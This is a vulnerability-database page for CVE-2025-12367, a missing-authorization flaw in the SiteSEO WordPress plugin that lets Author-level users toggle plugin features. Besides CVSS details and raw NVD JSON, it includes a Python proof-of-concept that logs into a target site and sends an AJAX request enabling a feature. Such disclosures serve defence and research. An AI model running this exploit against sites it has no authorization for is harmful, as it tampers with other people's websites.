Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-12367 CVSS 4.3 MEDIUM

CVE-2025-12367

Published: 2025-11-01 04:16:04
Last Modified: 2026-04-15 00:35:42

Description

The SiteSEO – SEO Simplified plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 1.3.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with Author-level access and above, to enable or disable arbitrary SiteSEO features that they should not have access to.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SiteSEO WordPress Plugin <= 1.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12367 PoC - SiteSEO Authorization Bypass # Authenticated users with Author+ role can enable/disable arbitrary SiteSEO features target_url = input("Enter target WordPress URL: ").rstrip('/') username = input("Enter username: ") password = input("Enter password: ") session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } print("[*] Attempting to login...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies) and 'error' in response.text.lower(): print("[-] Login failed!") sys.exit(1) print("[+] Login successful!") # Step 2: Exploit the authorization bypass # Enable arbitrary SiteSEO feature (e.g., enable 'titletag' feature) exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'siteseo_toggle_feature', 'feature': 'titletag', # Can be any SiteSEO feature 'status': 'true' # Enable the feature } print("[*] Sending exploit request...") response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent! Feature may have been enabled.") print(f"[*] Response: {response.text}") else: print(f"[-] Exploit failed with status code: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12367", "sourceIdentifier": "[email protected]", "published": "2025-11-01T04:16:04.093", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SiteSEO – SEO Simplified plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 1.3.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with Author-level access and above, to enable or disable arbitrary SiteSEO features that they should not have access to."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/siteseo/tags/1.3.1/main/ajax.php#L340", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3387094/siteseo/trunk/main/ajax.php?contextall=1", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/54535bef-23c3-4045-bb37-ba28ae5461b1?source=cve", "source": "[email protected]"}]}}